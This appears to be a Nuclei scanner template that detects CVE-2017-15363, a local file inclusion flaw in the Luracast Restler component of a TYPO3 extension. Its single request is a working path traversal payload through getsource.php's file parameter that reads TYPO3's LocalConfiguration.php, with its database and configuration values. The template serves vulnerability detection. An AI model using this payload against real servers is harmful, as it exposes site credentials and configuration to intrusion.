id: CVE-2017-15363

info:
  name: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Luracast Restler 3.0.1 via TYPO3 Restler 1.7.1 is susceptible to local file inclusion in public/examples/resources/getsource.php. This could allow remote attackers to read arbitrary files via the file parameter.
  impact: |
    The vulnerability allows an attacker to include local files, potentially leading to unauthorized access or code execution.
  remediation: |
    Update to the latest version of Restler and TYPO3 to fix the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42985
    - https://extensions.typo3.org/extension/restler/
    - https://extensions.typo3.org/extension/download/restler/1.7.1/zip/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15363
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15363
    cwe-id: CWE-22
    epss-score: 0.13649
    epss-percentile: 0.95994
    cpe: cpe:2.3:a:luracast:restler:*:*:*:*:*:typo3:*:*
  metadata:
    max-request: 1
    vendor: luracast
    product: restler
    framework: typo3
  tags: cve,cve2017,restler,lfi,edb,luracast,typo3,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "'host'"
          - "'database'"
          - "'extConf'"
          - "'debug'"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f37956e898fb9929c6bb65c2f13e1246c43b5c005a80286fbf9335bf4e49905f022031cfee84aa8025925810181587d2b42a4f3acd921d643c9d07d632445d94b269:922c64590222798bb761d5b6d8e72950